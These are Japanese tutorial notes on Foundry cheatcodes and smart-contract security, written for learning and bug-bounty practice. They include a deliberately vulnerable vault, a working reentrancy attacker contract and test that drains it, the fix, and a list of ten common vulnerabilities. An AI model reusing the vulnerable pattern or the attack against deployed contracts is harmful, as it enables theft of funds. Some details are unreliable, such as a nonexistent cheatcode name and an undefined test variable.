Foundryのチートコード

よく使われる Cheatcodes

| Cheatcode                                    | 説明                                |
| -------------------------------------------- | --------------------------------- |
| `deal(address, uint)`                        | アドレスの ETH 残高を変更                   |
| `writeTokenBalance(...)`                     | 任意のERC20トークンの残高を変更                |
| `prank(address)`                             | 次の1つの呼び出しで `msg.sender` を偽装       |
| `startPrank(address)` / `stopPrank()`        | 複数呼び出しの間、ずっと `msg.sender` を偽装     |
| `warp(uint)`                                 | ブロックタイムスタンプを変更（`block.timestamp`） |
| `roll(uint)`                                 | ブロックナンバーを変更（`block.number`）       |
| `expectRevert()`                             | revert を期待（例外テスト）                 |
| `expectEmit()`                               | イベントの発火を検証                        |
| `store(address, bytes32 key, bytes32 value)` | ストレージを直接書き換え                      |
| `load(address, bytes32 key)`                 | ストレージを直接読み出し                      |
| `record()` / `accesses(address)`             | ストレージの読み書きを追跡                     |
| `ffi(string[])`                              | 外部コマンドを実行（例：シェルコマンド）※安全性に注意       |
| `broadcast()`                                | スクリプトをブロードキャストモードに（デプロイ用）         |

function testFakeSenderAndTime() public {
    // msg.sender を別アドレスに偽装
    address hacker = address(0xBEEF);
    vm.prank(hacker);

    myContract.doSomething(); // msg.sender == hacker になる

    // ブロックタイムを未来に進める
    vm.warp(block.timestamp + 1 days);
    assertEq(block.timestamp, original + 1 days);
}


// スロット1に任意の値を書き込む
vm.store(address(myContract), bytes32(uint256(1)), bytes32(uint256(123)));

// 値を読み取る
bytes32 val = vm.load(address(myContract), bytes32(uint256(1)));


参考ドキュメント
Foundry公式ドキュメント：
👉 https://book.getfoundry.sh/cheatcodes/


過去のバグの例

// contracts/VulnerableVault.sol
pragma solidity ^0.8.0;

contract VulnerableVault {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "Nothing to withdraw");

        // ✅ 問題：送金が先、残高更新が後
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send");

        balances[msg.sender] = 0;
    }

    // allow deposits to contract
    receive() external payable {}
}


Foundry　テスト　

// test/VulnerableVault.t.sol
import "forge-std/Test.sol";

contract Attacker {
    VulnerableVault public target;
    address owner;

    constructor(address _target) {
        target = VulnerableVault(_target);
        owner = msg.sender;
    }

    // fallback to re-enter
    receive() external payable {
        if (address(target).balance > 0) {
            target.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        target.deposit{value: 1 ether}();
        target.withdraw();
    }

    function withdrawAll() external {
        payable(owner).transfer(address(this).balance);
    }
}

contract VulnerableVaultTest is Test {
    VulnerableVault vault;
    Attacker attacker;

    function setUp() public {
        vault = new VulnerableVault();
        attacker = new Attacker(address(vault));

        // Setup: vault に 10 ETH 入れておく
        vm.deal(address(this), 20 ether);
        vault.deposit{value: 10 ether}();
    }

    function testExploit() public {
        // AttackerにETHを持たせる
        vm.deal(address(attacker), 1 ether);
        vm.prank(address(attacker));
        attacker.attack{value: 1 ether}();

        // 🎯 攻撃成功：Vaultの残高が0になっている
        assertEq(address(vault).balance, 0);
    }
}

修正済みコード（BugFix）


function withdraw() public {
    uint256 bal = balances[msg.sender];
    require(bal > 0, "Nothing to withdraw");

    // ✅ 修正：状態を先に更新
    balances[msg.sender] = 0;

    (bool sent, ) = msg.sender.call{value: bal}("");
    require(sent, "Failed to send");
}

✅ 解説：何が問題で、どう直したか？

外部コール（call）を先に行う　

内部状態（残高）を先に更新することで、再入可能な状態を防止

call はフォールバック関数を呼ぶため危険

ガス制限付き transfer/send にする方法もあるが、EIP-1884 以降では非推奨になったため状態更新が最善策

🎓 学習ポイントまとめ
Foundryは本物の攻撃を再現できる強力なテスト環境。

状態変更と外部呼び出しの順番はセキュリティに直結する。それほど順番が大事になる。

Bug Bountyは「攻撃シナリオをテストで再現＋修正コードを書く」という点でFoundryと相性抜群。

🔐 よくある脆弱性とFoundryによる再現＋修正

1. ✅ Reentrancy（再入可能性）
説明: 外部コール中に再び同じ関数が呼ばれ、状態が壊される。

再現: .callの直後に状態更新がある。

修正: 状態を先に更新し、後でコール。

// 修正: 状態更新を先にする
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");

2. 🧮 Integer Overflow / Underflow
説明: uint256 におけるオーバーフロー / アンダーフロー

再現: Solidity 0.8未満 or unchecked で a - b が underflow。

修正: SafeMath か、Solidity 0.8以降のデフォルトチェックに依存。

// 脆弱な例 (unchecked ブロック内)
unchecked {
    uint256 x = a - b; // underflow の危険
}

3. 🔗 Unchecked External Call
説明: call, delegatecall, send, transfer の戻り値を確認しない。

再現: (addr.call{...}(...)); ← 戻り値を確認しない。

修正: require(success, "Call failed") を追加。

(bool success, ) = addr.call(data);
require(success, "Call failed");

4. 🔓 Access Control Misconfiguration
説明: onlyOwner などの制限が漏れている。

再現: 誰でも withdraw(), pause(), setAdmin() できる。

修正: onlyOwner などの修飾子を付与。

modifier onlyOwner {
    require(msg.sender == owner, "Not owner");
    _;
}

5. 💵 Incorrect ERC20 Transfer Check
説明: transfer() などの戻り値を確認しないトークン操作。

再現: token.transfer(...) の戻り値を無視。

修正: 戻り値を require。

require(token.transfer(to, amount), "Transfer failed");

6. ⏱ Timestamp Dependence
説明: block.timestamp に依存したゲーム性や制御。

再現: 「24時間経ったら誰でも実行可」など。

修正: 検証環境で warp() を使ってテスト可。経過時間のチェックを厳密に行う。

7. 🧊 Denial of Service (DoS)
説明: ガス消費・無限ループ・状態のロックでサービス不能。

再現: for ループで状態を消費者に依存して回す。

修正: Pull方式に変更、limit追加など。

8. 🧵 Front-running / MEV
説明: 公開状態で approve(), setPrice() 等が悪用される。

再現: パブリックな setBid(uint price) を任意の誰でも呼べる。

修正: 署名付き注文（EIP-712）、commit-reveal戦略など。

9. 🪤 Uninitialized Proxy Storage
説明: プロキシパターンで initialize() が誰でも呼べる。

再現: initialize() に onlyOwner 修飾子なし。

修正: initializer パターンを使い、再実行を防止。

10. 💥 Selfdestruct Misuse
説明: selfdestruct() によって強制的にETHを送りつけられる。

再現: selfdestruct(payable(target));

修正: receive() を意図的に設計、不要なETHに対応。